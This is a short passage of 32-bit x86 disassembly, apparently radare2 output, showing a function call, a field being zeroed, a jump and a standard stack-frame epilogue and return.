call fcn.1000c560
mov dword [esi + 0x3c0], 0
jmp 0x1000bb05
pop esi
mov esp, ebp
pop ebp
ret